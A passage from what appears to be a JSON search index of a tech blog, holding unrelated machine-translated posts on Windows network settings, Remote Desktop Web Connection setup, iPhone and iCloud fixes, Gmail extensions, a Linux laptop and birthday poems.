portfolio, making notes on the organization, themes, format, and final work you have chosen. You can also attend a portfolio review. There are National Portfolio days in which college admissions counselors will come to high schools and college campus events to review students' artwork. Seek feedback on how you can improve your portfolio, and use this as a trial run to prepare you for officially presenting your portfolio.[9] Little details matter too. If you have text in your portfolio, always check for grammar mistakes. It can be easy to focus on just the art, but employers and admissions counselors want to see that you have reviewed all of your work and that you take this submission seriously. You don't want to spend all your time making a fantastic portfolio that an employer or admissions counselor loves, and then lose all chance of being chosen because you misspelled the name of the institution or used incorrect grammar.   Update your portfolio on a regular basis. Even if you have already submitted your portfolio to several institutions, always be ready to update and revise your portfolio with new and better work. Save time doing this as you go, so that you won't have to do a major project of revision the next time you submit your portfolio. This will keep your work relevant, and up to date with your abilities and awards. Continually ask yourself, \"Am I in this?\" Your art should reflect yourself and your passions so as you update and revise your portfolio make sure it still conveys the story you hope to communicate.   David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurc1mmKusXaW8s8DFqKOipw%3D%3D\n","link":"/post/how-to-make-an-art-portfolio/","section":"post","tags":null,"title":"How to Make an Art Portfolio"},{"body":"When the link is inserted into the image or inserted into the text, the user must click to see the link as well as the content in the article. With the POPPER URL extension on Chrome, we will save time watching the link link through the display pop-up provided by the extension.\nAccordingly all links inserted in images, text, . on any Chrome website when hovered on will display a pop-up containing the link link. Then we will quickly see the link via that pop-up and have the option to quickly copy the link via the icon. The following article will guide you how to use the POPPER URL extension on Chrome.\nHow to insert links into images on Gmail How to insert hyperlinks in Google Docs documents 5 ways to add links to posts on Instagram Embed videos in a simple website in these 6 ways Instructions for copying Chrome links quickly Step 1:\nUsers access the link below to install the POPPER URL utility for the browser.\nDownload the POPPER URL extension Chrome   Step 2:\nAfter installation is complete we reload the browser. Now go to any website and click on the image to see a pop-up link for that article.\n  Or when you click on the title of the article also appears pop-ups containing the article link.\n  With the text or words inserted link, the POPPER URL utility also works very well. All links are displayed very fully.\n  Step 3:\nTo copy the article link there will be 2 different ways. If you want to save the link with the words displayed in the pop-up, click the Copy icon .\nIf you just want to copy the link, just click the link shown in the pop-up to automatically copy it.\n  When we have to work with many documents with links, the POPPER URL utility helps you a lot. No need to click directly to check the original link, but through the utility's pop-up, users immediately have the full link embedded in the content to copy and access shortly.\nI wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnrCsuNhmmqioqWK5qrrKZpymmpWZsaawjKKlZqyVrcFuu81mmqGqn6Ky\n","link":"/post/how-to-quickly-copy-link-embedded-in-text-on-chrome/","section":"post","tags":null,"title":"How to quickly copy link embedded in text on Chrome"},{"body":"Remote Desktop Web Connection is an optional World Wide Web Service component of the Internet Information Services group that is integrated by default in Windows XP Pro, Windows 2000, and Windows Server 2003 operating systems.Like IIS, Remote Desktop Web Connection is not installed by default on Windows XP and Windows Server 2003, but users must install it via the Add / Remove Programs feature in Control Panel. Remote Desktop Web Connection is an optional component of Windows XP Pro and can be installed from Windows XP installation media. Note: Windows Server 2003 users do not need to download this software. They can proceed manually from Add / Remove in Control Panel. When installing Remote Desktop Web Connection, the files will be copied by default to the % systemroot% WebTsweb folder of the Web server. We can immediately use the integrated.asp and default.htm pages, or edit them to meet the application needs. The Remote Desktop Web Connection is a Win 32-based ActiveX Control (COM object) that can be used to operate Remote Desktop sessions from the Internet Explorer browser application. The download of this program includes ActiveX Control and a sample Web site, which can be used as a starting point for running Windows-based programs in Internet Explorer. Developers can also use the Remote Desktop Web Connection to submit desktop applications that can interact with applications running on a Terminal server. Download the ActiveX Control that provides quite the same functionality as the full Remote Desktop Connection software in Windows XP, but it is designed to spread this feature over the Web. The Web Package Setup program will install the ActiveX Control download, the ActiveX Client Control Deployment Guide and some Web forms on the server using the Internet Information Service version 4.0 or later. Remote Desktop Web Connection provides the following features: Perform a session in Internet Explorer. Remote Desktop Web Connection is a Win32 ActiveX Control operating in Internet Explorer 5 versions of Internet Explorer on all 32-bit Windows operating systems. The first time you access the Web site in the ActiveX Control of Remote Desktop Web Connection, we will see a dialog box labeled \"Do you want to install this control?\" (Do you want to install this ActiveX Control?). For example, with these sample Web sites, Website administrators can design more pages directly linked to the application hosted on the server, or just operate on the desktop. \n Easy access to Windows XP Pro computers that have enabled Remote Desktop or Windows Terminal Server servers. Remote Desktop Web Connection provides high-speed access to Terminal servers for both users and system administrators. \n Can embed Web pages or launch on separate pages. Using the functions of Internet Explorer, Remote Desktop sessions can be embedded in a Web page in use, or launched in a separate Internet Explorer window. A Web administrator can create a simple script that allows users to perform multiple Remote Desktop sessions from the same Web site or in a single Web page. Customizable ability. Like ActiveX Control or COM objects, many applications (such as Internet Explorer or Visual Basic, and Visual C ++ development systems, etc.) can insert and install properties on the Remote Desktop Web Connection. Web site owners or programmers can write some scripts that communicate between an application running on the desktop and an application on Terminal Services using Remote Desktop Web Connection and Remote Desktop virtual channel structure Protocol. Remote Desktop Web Connection Security. Remote Desktop Web Connection is a Remote Desktop Protocol (RDP) 5.0 workstation that is strongly encrypted and uses RSA Security RC4 encryption with key strength of up to 40-, 56- or 128-bits determined by the server which it is connecting to. Remote Desktop Web Connection uses the familiar RDP TCP port (3389) to communicate with the server. Unlike some other display protocols, performing data sending over a network using plain text or with a variable algorithm is easy to encrypt. The integrated encryption tool of Remote Desktop Web Connection helps to maintain security when using it over any network, including the Internet, because the process of entering this protocol to steal passwords and other important data quite complicated. Install Remote Desktop Web Connection 1. Access Control Panel | Add or Remove Programs . 2. Click Add / Remove Windows Components . 3. Select Internet Information Services and then click Details . 4. In the Subcomponents of Internet Information Services list , select the World Wide Web Service and then click Details . 5. In the Subcomponents for World Wide Web Service list , select the Remote Desktop Web Connection check box and then click OK . 6. On the Windows Components Wizard , click Next . 7. Open Internet Services Manager . 8. Expand directory classification until you see the directory [local computer name] Web SitesDefault Web Sitetsweb . 9. Right-click this folder and select Properties . 10. Click the Directory Security tab on the Properties dialog box. 11. In Anonymous access and authentication control ( control authentication and anonymous access ), click Edit . 12. Select the Anonymous access check box on the Authentication Methods dialog box and click OK twice. Connect to another system using Remote Desktop Web Connection 1. Ensure that Remote Desktop Web Connection is installed and operated on the Web server.2. Ensure that the networked workstation and WINS server service (or other identification method) are active. 3. On the workstation, launch Internet Explorer . 4. In the address box, enter the URL of the home directory of the Web server that contains the Remote Desktop Web Connection. 5. This URL looks like this: http:/// [server's Windows connection name] / [directory path containing Remote Desktop Web Connection files (default is / tsweb)] /\n For example, if the server is registered with the WINS server as Admin1 , in the address box we will enter http:/// admin1 / tsweb / and press Enter . Then the Remote Desktop Web Connection page will appear. On this page, take the following steps: In the Server field, enter the name of the remote computer to connect to.\n Specify screen size and log information for connection. Click Connect .  After providing the username and password, the Windows XP desktop will appear and we can start working.\n ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWimrqwwMRmm56rm6m8sXnWnplmm5%2Bju6av06Kmp2Wfo3q4tc2dprCrXa29\n","link":"/post/install-remote-desktop-web-connection-on-windows-xp/","section":"post","tags":null,"title":"Install Remote Desktop Web Connection on Windows XP"},{"body":"Some Windows 10 computers have a SIM card which allows you to connect to a mobile data network, so you can go online with mobile signals. If your PC does not have a SIM card, you can still connect to the mobile network by plugging in an external mobile device (also known as a mobile modem or mobile broadband device). Either way, you must have a data plan from a mobile network provider to connect.\nTips for fixing network glitches on your computer Connect to mobile data network for the first time 1. Select the Network icon (wifi icon or Ethernet icon or mobile network icon) on the lower right of the taskbar, then select the mobile network in the list.\nHow to fix error code 31 on Ethernet network   2. Do one of the following steps if the Let Windows manage this connection box:\nSelected, you will automatically connect to mobile data when you are not connected to another network type, such as Wi-Fi or Ethernet. If not selected, select Connect . Usually, you will see the name of the mobile service provider next to the mobile network icon.\n3. If required, enter the username, password and access point name (APN).\nIf necessary, check your PC, SIM card, or mobile device information for more information on usage settings.\nNote:\nIf the status content under the mobile network name indicates that the mobile service provider is locked, insert a SIM card from your mobile service provider to connect. If you select the Network icon (Wi-Fi icon or Ethernet icon) in the taskbar and quick action the mobile network is turned off, select to enable this feature. When it is off, the mobile radio is turned off and you cannot connect to a mobile network. If your mobile data connection is working properly, you do not need to change your mobile settings. However, if you have problems with mobile connectivity, change one or more of the following useful settings. Settings vary according to the computer model and mobile service provider.\nAllow Windows to manage this connection Determine if your computer is automatically connected to the mobile data network when available. Uncheck the box if you want to connect yourself when you want to use mobile data. Select it if you want Windows to manage the connection for you.\nWhen selected, you will automatically connect to mobile data when not connected to another network type. To find this setting, select the Start button, then select Settings\u0026gt; Network \u0026amp; Internet\u0026gt; Cellular\u0026gt; Let Windows manage this connection . This setting is available when you are disconnected from the mobile data network and it connects when Connect is selected.\nData roaming options Determine whether your mobile data connection still works when the computer is outside the mobile service provider's network. Choosing Don't roam can help prevent data roaming charges.\nIf you enable roaming, you can use mobile data when your computer is in the transfer zone. Depending on your data plan, you may pay more for the data you use when roaming.\nTo find this setting, select the Start button, then select Settings\u0026gt; Settings \u0026gt; Network \u0026amp; Internet \u0026gt; Cellular \u0026gt; Data roaming options .\nNetwork selection Appears when roaming and determines which mobile network connection is used. The default setting is automatic.\nIf you connect to the mobile network and see the message that the selected network is not available, you can select Search for networks and then select another mobile network.\nTo find this setting, select the Start button, then select Settings \u0026gt; Network \u0026amp; Internet \u0026gt; Cellular \u0026gt; Advanced options .\nActive network Displays the name of the mobile network you are using. To find this setting, select the Start button, then select Settings \u0026gt; Network \u0026amp; Internet \u0026gt; Cellular \u0026gt; Advanced options .\nAdd APN Internet access point name (APN) is the address your computer uses to connect to the Internet when using a mobile data connection. Usually, Internet APN is set automatically.\nIf your mobile data connection is not active and you cannot connect to the Internet, type the new APN Internet based on your location and mobile network. If you can connect to a Wifi network on your computer or phone, try searching online to find APN Internet settings for your mobile network.\nWhat is APN and how to change the APN 1. To add an APN, select the Start button, then select Settings\u0026gt; Network \u0026amp; Internet \u0026gt; Cellular \u0026gt; Advanced options \u0026gt; Add an APN .\n2. Next, perform one or more of the following options:\nIn the configuration name box, enter a name for the APN configuration. In the APN box, type the address for the APN to use. In the username box, enter the username for your mobile account. In the Passport box, enter the password for your mobile account. Select Type of sign-in info and then select the authentication method used. Select IP type and then select the type of IP address to use. Select APN type , then select Internet. 3. Check the Apply this profile box if you want to use the APN immediately after saving it.\n4. Select Save \u0026gt; OK.\n5. To go back and view the list of APN configurations, select Back and look in the Internet APN.\nProperties Properties show information about SIM and your mobile data connection. Select Copy to copy paste information to email or elsewhere. This can be useful if you are having trouble connecting and need to send information to your mobile carrier or support person.\nTo find this setting, select the Start button, then select Settings \u0026gt; Network \u0026amp; Internet \u0026gt; Cellular \u0026gt; Advanced options .\nUse SIM PIN code Determine if you want to use a SIM card for your SIM card in your computer to prevent others from using your mobile data connection without your permission. After you have set up your SIM PIN, you will be prompted to enter your SIM PIN when connecting.\nWhen prompted, enter your SIM PIN. If this is the first time to use it, enter the default PIN. If you don't know the SIM card's default PIN, visit your mobile provider's website to see if they list it there. You must restart your computer to have your mobile data connection locked with your SIM PIN.\nIf you have set up a PIN for SIM, enter the PIN code and then select OK .\nTo find this PIN setting, select the Start button, then select Settings \u0026gt; Network \u0026amp; Internet \u0026gt; Cellular \u0026gt; Advanced options \u0026gt; Use SIM PIN in the Security section .\n  \nDelete SIM PIN If you are using a SIM PIN and decide not to use this PIN, select Change SIM PIN , enter your current PIN into Current SIM PIN , enter a new SIM PIN in the New SIM PIN box , Enter the same SIM PIN code in the box Confirm new SIM PIN , then select OK .\nTo find this setting, select the Start button, then select Settings \u0026gt; Network \u0026amp; Internet \u0026gt; Cellular \u0026gt; Advanced options \u0026gt; Change SIM PIN in the Security section.\nUnblock SIM PIN code If you are using the SIM PIN code and enter the PIN code incorrectly three times, the SIM will be locked and cannot be used until you unblock it. To unblock, you need to contact your mobile service provider to know the PIN Unblocking Key PUK (PIN Unblocking Key). Next, select Unblock SIM PIN , then type PUK code. If you enter the wrong PUK code too many times, your SIM card will be permanently locked and you need to buy a new SIM card.\nSelect the Start button, then select Settings \u0026gt; Network \u0026amp; Internet \u0026gt; Cellular \u0026gt; Advanced options \u0026gt; Unblock SIM PIN in Security section.\nAbove are the instructions for installing mobile network on Windows 10, hope you see useful articles and share with friends.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZ2kr6q4xGalnqynpL%2Bsv4yopWavmaOxsMPSZmhp\n","link":"/post/instructions-for-installing-mobile-networks-on-windows-10/","section":"post","tags":null,"title":"Instructions for installing mobile networks on Windows 10"},{"body":"If you are having problems related to Wifi or if using 3G data but cannot access the Internet on iPhone or iPad. Although it has applied every way to fix the error, it still fails. You can then think of a solution to reset the network settings on your iOS device to fix the error.\nNote:\nBefore performing a reset of network settings on an iOS device, you need to understand what reset the network settings is to do. The reset process is really just restoring all network settings to the original default state on your device, including mobile data settings and Wifi settings. All Wifi settings will be wiped clean and restored to their original settings, including VPN (virtual private networks) that you have set up.\n  Reset network settings on iPhone To reset the network settings on your iOS device, follow the steps below:\nFirst open the Settings app (settings) and then find and click General (general settings).\n  On the General window (general settings), find and click Reset.\n  \nNext, find and click Reset Network Settings .\n  If setting the passcode (screen password) you will be asked to enter the passcode.\n  On the iOS device screen, a dialog box asking you to confirm, click Reset Network Settings to confirm resetting the network settings on your iOS device.\n  Now your iOS device will restart and all network settings will be reset to their original default state.\nRefer to some of the following articles:\nTrick to delete junk files to free up space and cache iPhone, iPad Summary of some ways to fix 3194 errors during the restore or update iPhone, iPad What to do when the iPhone hangs the Apple Logo during startup? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKudo5rBbsDHnmSnnaSsvLO3jKucrJ2kYsGpsYynnK2vn6e4bq%2FOp6Wem6SevK95zqdkoqiYpLum\n","link":"/post/instructions-to-reset-the-network-reset-the-network-connection-on-iphone/","section":"post","tags":null,"title":"Instructions to reset the network, reset the network connection on iPhone"},{"body":"Many of us don't think much about putting our PC or laptop into Hibernate mode. However, this is an important capability of computers and Windows laptop manufacturers have included it as an indispensable parameter. Hibernate mode was created due to the need to keep the computer 24/7 without wanting to drain the battery or to ensure the system is not affected by a power failure, unlike Sleep mode.\nHowever, a question arises. Does Hibernate have a negative impact on computers compared to normal shutdown? How often should you use the hibernate option? To answer these questions, you need to learn about how Hibernate mode works, its impact on PC performance, and whether it will harm the PC in the long run.\nHow does Hibernate work? Hibernate refers to an energy mode in a laptop or notebook (very rarely in the case of desktops). This mode is designed to save energy by saving any open content to the storage drive. These are non-volatile storage media, because they are not easily lost data.\nHibernate mode works similar to the process of off / restart Hibernate mode works similar to the process of turning off / restarting, because the laptop does not require constant power to recover data. This mode ensures your computer's resources are protected in unpredictable situations. After restarting, the device is in the exact same state as when you left the computer before hibernating.\nHibernate mode is the opposite of Sleep (in which the laptop immediately switches to RAM and enters low power mode). Check out the article: How is Sleep and Hibernate different and when to use it? For more details.\nEnable Hibernate mode on PC or laptop Hibernate mode is supported in all versions of Windows. Refer to the following articles for details on how to do this:\nInstructions to enable / disable Hibernate mode on Windows 10 Turn off, turn on Hibernate in Windows 7 The effect of Hibernate mode on PC performance and system health Despite its potential to save power, Hibernate mode was previously thought to be harmful to hard drive performance over time. But things have changed a bit and today, you can use Hibernate mode much more often without causing any negative effects.\nBut eventually Hibernate is bad for PC? The answer depends on the type of hard drive you have. With HDDs, basically, Hibernate freezes all PC actions and stores this state securely on the hard drive in a giant hibernation file, called hiberfil.sys in Windows systems.\nHibernate freezes all PC actions and stores this state securely on the hard drive In HDD, the file size of hiberfil.sys may be close to that of system RAM. Depending on the number of applications running, the more RAM you have (16GB), the more data will be automatically copied to the hard drive. However, the benefit is that Hibernate consumes less power on laptops.\nBasically, the decision to put the HDD into hibernation is a trade-off between maintaining power levels and decreasing hard drive performance over time.\nThe decision to put the HDD into hibernation is a trade-off between maintaining power levels and decreasing hard drive performance over time. However, for people with laptops equipped with SSDs, hibernation has little negative impact. Because SSDs do not have moving parts like traditional hard drives, nothing will be damaged. In addition, because SSDs are known to have a long life, your system does not experience the common wear and tear of HDDs.\nFrequency of hibernation is reasonable? As mentioned above, hibernation has less impact on SSD than HDD. However, even modern hard drive systems can only occasionally hibernate. Putting the computer into hibernation will not reduce performance much, if you do it once a week or so.\nWith these systems, you should only hibernate based on need. For example, when you leave your computer for 12 to 24 hours and have to continue everything without turning off or restarting. In other cases, it is better to turn it off completely and properly.\nWith SSD systems, you can be more comfortable, because only the last state is written to the drive and the machine shuts down smoothly. It won't take long to put your PC into hibernation and wake it up. A small drawback to hibernation, even with an SSD, is that the PC settings are not usually restored like when the PC is shut down and restarted properly.\nIf you need quick access to Hibernate, you can add the Hibernate option to the Start menu. On the other hand, if you do not use this mode, you can disable it to save storage space.\nncG1vNJzZmismaXArq3KnmWcp51ktrR5x6KZnqqelsGmeceaqaaepaF6tbuMqZo%3D\n","link":"/post/is-hibernate-harmful-to-pc/","section":"post","tags":null,"title":"Is Hibernate harmful to PC?"},{"body":"TUXEDO Computers may be a strange name to many people, but in the world of Linux hardware, this is one of the extremely famous manufacturers, with the ambition to help Linux laptops reach users. all around the world. Today, TUXEDO Computers has officially announced a brand new Linux laptop called TUXEDO Book BA15 with powerful configuration, promising to become a name not to be missed for those who love Linux operating system.\nTUXEDO Book BA15 is powered by AMD Ryzen 5 3500U, making it the 'world's first laptop to use only AMD CPUs combined with pre-installed Linux'. As expected of most users, TUXEDO Book BA15 proved superior in battery performance, up to 91.25Wh, making it possible to operate continuously for 25 hours after each charge. If dedicated power-saving mode is enabled, this laptop's usage time is even more impressive.\n'Even in more complex real-life usage scenarios, our 15.6-inch laptop will remain functional for long periods of time so you can complete every day task, such as such as surfing the web, composing emails, or working with documents for up to 13 hours, even playing 1080p videos with 50% screen brightness for 10 continuous hours'.\n- TUXEDO Computers\nFor other notable hardware, TUXEDO Book BA15 comes with integrated Radeon Vega 8 GPU. Maximum RAM is up to 32GB of DDR4-2666, combined with basic internal memory (ROM) of 250GB, but you can also upgrade to 2TB of storage for an additional fee.\nThe panel is equipped with a 15.6-inch type, Full HD resolution with a maximum brightness of 300nits. The keyboard comes with TUXEDO Computers' signature 'TUX super-key' with a white backlight for efficient input in the dark.\nFor connectivity, TUXEDO Book BA15 is equipped with 1 USB 3.2 Type-C port, 2 USB 3.2 Type-A ports, 1 USB 2.0 Type-A port, as well as HDMI, Ethernet, card reader and 3.5 headphone jack. mm.\nBy default, TUXEDO Book BA15 will ship with Ubuntu and TUXEO_OS when shipped, but there are several other options available. For example, users can set up dual-boot configuration with Windows and even only use Windows if desired.\nTUXEDO Book BA15 is now sold with a starting price of 935 USD (about 21.7 million).\nSome pictures of TUXEDO Book BA15:\nncG1vNJzZmismaXArq3KnmWcp51kwbbExJ2mZpqfpLhursBqbGakmaPCuXnLmqetp6BixKrAx2aYppxdmL22ecinZK2glWLEsL7LnWSfoaKowW67xZ%2BgnKGRobm6ecuarKebmJqx\n","link":"/post/linux-laptop-with-amd-cpu-in-the-world-first-officially-launched/","section":"post","tags":null,"title":"Linux laptop with AMD CPU in the world first officially launched"},{"body":"WindowsAndroid helps launch the Android operating system just like a regular Windows software and supports almost all of the features of this OS.\n  WindowsAndroid application helps to run the Android operating system almost completely.\nPrevious Android emulator software like BlueStacks allows users to run Android applications but cannot launch the full interface. The newly introduced WindowsAndroid application suite has overcome this disadvantage, as well as running directly on Windows as a normal software.\nOnce installed, WindowsAndroid helps users to browse the web, view images and available applications and even install third-party applications as usual. The development team said the Davik virtual machine helped to support all Android applications as well as the ability to take advantage of Windows computer hardware, including graphics cards to speed up virtual machine hardware.\nFor touch-sensitive Windows computers, the WindowsAndroid software also helps to use a regular Android tablet. The version that this application is integrating is Android 4.0.3.\nCurrently WindowsAndroid software is still in the process of development and will soon be released to popular users in the near future.\nVideo using the above software test:ncG1vNJzZmismaXArq3KnmWcp51kv7a6jJqlnaqfnrFugI9sZJ2hopqwtbjYZqanZaeeu6W71qw%3D\n","link":"/post/run-android-4-0-3-directly-on-windows/","section":"post","tags":null,"title":"Run Android 4.0.3 directly on Windows"},{"body":"Birthday is a special day for each of us, marking the arrival of you in this world. On this occasion, to send a birthday greeting to someone we often prepare meaningful or funny birthday gifts or greetings. But those things are now obsolete, to wish you a fresh and creative birthday, you can use poems, surely when you read the first verse, the recipients will definitely not hold back. laugh and feel extremely excited to see it.\nPoems wish Christmas meaning and humor 8/3 poems or for mothers, wives and lovers Tet wishes, good poems on spring to celebrate the new year 2018    Happy birthday poem No. 1 Happy birthday friends\nHappy birthday meaningful home Good luck and love Good health Good luck to thousands of things.\nGet lots of money and riches\nHappiness is more and more beautiful Wish to be well-off family Successfully followed the journey of publicity.\nMay you be warm and peaceful\nHow much happiness surrounds every day Not sad nor bitter No pain every day laughing.\nThe smile will always be on the lips\nAlways share with me if needed This role is based on my friend Remember, I will always be near you.\nHappy birthday to you, wish your new age\nFresh as the natural flower Healthy like diamond stones The power of solid networks is extraordinary Overcoming all hardships\n  Poetry happy birthday No. 2 Poetry congratulates the most humorous humorous birthday\nToday is your birthday. I have no gifts. Only the color card. Make gifts instead of wishes. Wish you happiness. New age is peaceful. And there is a lot of money. Great success together.\nPoetry on the 3rd birthday Poetry congratulates the most humorous humorous birthday\nHappy Birthday my honey I pray tonight to please you Now try it How many poses do you please?\n   Poetry happy birthday number 4 Poetry congratulates the most humorous humorous birthday\nHappy Italian birthday. Good luck and love. Good health. Good luck to thousands of things. Take money, lots of silver wealth. Joy, happiness is becoming more and more beautiful. Wish to be well-off family. Successfully followed the journey of publicity. Wish you peace and peace. How many happiness around each day. Not sad nor bitter. No pain every day laughing. The smile will always be on the lips. Always share with me.if need. This role is based on my friend. Remember that I am always near you!\nPoetry happy birthday number 5 Poetry happy birthday sister\nI just remembered today. Mother's day of birth You are as beautiful as an ice cream. And so pretty. Life is so short. I wish you a happy life. And always love life. Same lot of luck. I'm always healthy. Good study, success. Quickly get married soon. Let me eat the rice!\n   Poetry happy birthday number 6 Poem birthday or comedy brother\nWish you happy, forever young Boundless health, always talented Flowers are numerous and spoiled Composing poetic, happy ears! I still have room, no one Wish you find it soon Someone is forcing Who (FA) Remarkable, not fade! Well, I wish you a brief, no future Wish you forever beautiful !! hihi\nPoetry happy birthday No. 7 Today is your birthday.\nI have no gifts. Only the color card. Make gifts instead of wishes. Wish you happiness. New age is peaceful. And there is a lot of money. Great success together.\n   Poetry happy birthday number 8 Happy Birthday my honey\nI pray tonight to please you Now try it How many poses do you please?\nPoetry happy birthday number 9 I just remembered today.\nMother's day of birth You are as beautiful as an ice cream. And so pretty. Life is so short. I wish you a happy life. And always love life. Same lot of luck. I'm always healthy. Good study, success. Quickly get married soon. Let me eat the deck!\n   Poetry for the 10th birthday Happy Italian birthday.\nGood luck and love. Good health. Good luck to thousands of things. Take money, lots of silver wealth. Joy, happiness is becoming more and more beautiful. Wish to be well-off family. Successfully followed the journey of publicity. Wish you peace and peace. How many happiness around each day. Not sad nor bitter. No pain every day laughing. The smile will always be on the lips. Always share with me.if need. This role is based on my friend. Remember that I am always near you!\n   Poetry happy birthday 11 Today is my birthday\nI wish you more and more flavor Eyes are more beautiful than the Milky Way The voice is more holy and fun early in the afternoon Wish you happy with your lover Life is as happy as the rising tide I wish you a thousand times Great beautiful words for me\nHappy birthday poem 12 Wish you a happy birthday\nThe family laughs quietly Especially to be with her Holding hands on the street bustling and laughing\nAnd wish you repel sorrow\nBelief is flowing out Let you forever love life There is no longer a memory of the past.\n   Birthday poetry 13 Happy happy birthday\nI was one year older, singing gleefully Happy birthday! Crowded friends come and wish me Lamp flowers light up look Ai XINH brilliant when adding pink age? Above there is a rainbow Make your skin more pink and beautiful Spring age like dawn The early future wants a dream: Life is beautiful like a poem Living in a warm, changing place for now I wish you a very good blessing: Love, desire to welcome And why is the light shining high Next EM energizes the future.\nSee more:\nRomantic birthday wishes for lovers Super cool and funny statuses and greetings The best and most meaningful birthday wishes ncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdorKiusinnp%2BtnGKur7CMn6ynppmawLV5x5qnqbFdl7azwMedmLJloKSyrr8%3D\n","link":"/post/the-most-meaningful-and-funniest-happy-birthday-poems/","section":"post","tags":null,"title":"The most meaningful and funniest happy birthday poems"},{"body":"Gmail gave way to Google Inbox and Google Chrome won the battle with Mozilla Firefox. But for those loyal to the two most memorable brands on the Internet, Firefox and Gmail, will definitely like these Gmail extensions for Firefox.\nLog in to multiple Gmail accounts with Firefox 1. ActiveInbox This is probably one of the best Gmail extensions for Firefox. It only costs $ 50 a year.\nWith this cost, you will get all the missing key features in Gmail like:\nSchedule e-mail delivery. More jobs. Set due date for E-mail and work. Add a reminder. Competitors like Boomerang, FollowUp.cc or mxHero Toolbox are great, but ActiveInbox is a better solution to address the overloaded inbox and to-do lists by E-mail.\nDownload: ActiveInbox for Firefox\nHow to schedule email with Boomerang utility 2. Notifus Notifus is a free add-on that sends reminders about important E-mails that you have not received a reply to. Instead of pressing the \" Send \" button, click one of the \" Send and remind me in X days \" buttons.\n  To use Notifus extension, you need to download GreaseMonkey for Firefox first.\nDownload: GreaseMonkey for Firefox | Notifus for Firefox\n3. Checker Plus for Gmail: Checker Plus is an icon in the toolbar that notifies you when new mail arrives. It also allows you to perform basic operations such as marking read or delete messages.\nDownload: Checker Plus for Gmail\n4. Mailtrack Mailtrack is a free and unlimited solution that helps you know who has received and read important messages. A checkmark sign means that E-mail has reached the recipient's mailbox, two checkmark signs indicate that the e-mail has been read. This extension is very simple and handy, so why wait any longer without downloading it right away.\nDownload: Mailtrack for Firefox\n5. Simple Gmail Notes   Simple Gmail Notes allows you to add sticky notes (notes) to a message. You can customize the color and font size on notes, even turning it into an event with a quick calendar. All notes are stored on Google Drive, so your data will not reach third parties.\nDownload: Simple Gmail Notes for Firefox\n6. Trimless for Gmail   \nBy default, Gmail will remove the end of E-mail. It could be the electronic signature or the contents of previous messages in the string. If you want Gmail to display the entire message without leaving the end, Trimless is the extension you need.\nDownload: Trimless for Gmail on Firefox\n7. Gmail Mail Sidebar One of Firefox's unique features is its customizable sidebar. Extensions like All-In-One Sidebar cannot be replaced and there are no equivalent alternatives on other browsers.\n  Gmail Mail Sidebar to put the Gmail version on your mobile phone into Firefox's sidebar. This way, you can open your inbox and use it like using the Gmail application on your iPhone or Android.\nDownload: Gmail Mail Sidebar for Firefox\n8. Shortcuts for Gmail Using shortcuts can make Gmail faster and more efficient than ever. Shortcuts will give you 12 shortcut keys for Gmail such as selecting message content, expanding or minimizing cutouts, navigating between links, completing tasks, changing text colors and turning Go to the next or previous page.\nDownload: Shortcuts for Gmail on Firefox\n9. DNDEmail Sometimes a new E-mail message can distract you when you're concentrating on your work. Having an extension can help you turn off incoming mail notifications.\n  DNDEmail prevents Gmail from displaying new E-mail messages for a certain period of time. For example, you can set up Gmail to notify new mail every hour instead of notifying you when new mail arrives. Go to the 'Do Not Disturb' section of the mailbox to set the time to receive notifications and list important senders like your boss so you can receive notifications immediately.\nDownload: DNDEmail for Firefox\n10. Wisestamp Gmail allows you to add signatures in the settings, but these signatures are not very eye-catching. Wisestamp is an easy way to create beautiful signatures with lots of information attached.\n  You can add photos, link to profiles on social networks and other personal data.\nDownload: Wisestamp for Firefox\n11. Grammarly See an E-mail that sees someone's professional level. Spelling or grammar errors in special E-mail are important E-mails sent to partners or job offers that will cause you to lose points and recipients feel you don't respect them. Luckily, there is an extension to help you check the Gmail spelling that is Grammarly.\nGrammarly will provide suggestions for editing spelling, grammar, regular expressions and other errors. Like Microsoft Word, find the red underlined words, click on the words to see Grammarly's suggestions.\n  In addition, Grammarly is not limited to Gmail. It will also check spelling wherever you type as Facebook or on a forum.\nDownload: Grammarly for Firefox\nncG1vNJzZmismaXArq3KnmWcp51kfnJ5xqucmqxdmsW1sc2soKimo2KzsL6MoKSaoZxivK95xaKpnp6frQ%3D%3D\n","link":"/post/11-great-extensions-for-gmail-on-firefox/","section":"post","tags":null,"title":"11 great extensions for Gmail on Firefox"},{"body":"Anyone using an Apple device like an iPhone, iPad, etc. can use iCloud. This cloud storage service makes it easy to synchronize photos, calendars, documents and more across all your Apple products. But if iCloud doesn't work, you could lose access to all that data!\n This article will cover some common and common issues with iCloud on iPhones and iPads. Thereby, providing you with a way to fix them. As follows.\n1. Unable to connect to iCloud\nConnection problems are the most common problem with iCloud. They usually appear when you are trying to log in or synchronize data, but can even happen when you use irrelevant apps on your iPhone or iPad.\n The first step to take when your device can't connect to iCloud is to check if your Apple system is online, by visiting Apple's System Status website and making sure it is online. Every iCloud-related service has a green circle next to it.\nServices with a yellow or red symbol mean that Apple is having a problem with the service. Once that happens, you can't do anything but wait for Apple to fix it.\nSometimes you can solve these connection problems by logging out of your iCloud account, then signing in again. This effectively resolves issues related to account verification.\n Access to Settings . Click on your name at the top to open Apple ID settings. Then scroll to the bottom of the page and click Sign Out . If prompted, enter your Apple ID password and press Disable to turn off Find My iPhone . Finally, select Logout . Click Sign out again when prompted.\nTo log in again, you must press Log in to your iPhone . From here, you should enter your Apple ID and password. If you have a Mac or other Apple device that connects to your Apple ID, you'll get a verification code on it. You need to enter this on your iPhone, then enter your iPhone passcode.\n2. iCloud cannot sync data on devices\nWhen iCloud works, everything will sync automatically without any action from you. That means you can take photos or edit documents on one device, and those changes also sync instantly with your other devices.\n Unfortunately, iCloud does not always work smoothly. Then try the following tips to fix:\n- Press and hold the Power button, then slide to power off your device. Wait a minute or so before you press the button again to reboot.\n- Open a video on YouTube or upload videos to the web to check your Wi-Fi connection. If it is slow, reboot your router to see if it can be fixed.\n- Go to Settings\u0026gt; [Your name] on each device and make sure you are using the same Apple ID account. If not, Log out and then log back in with the same Apple iD account.\n- Go to Settings\u0026gt; [Your 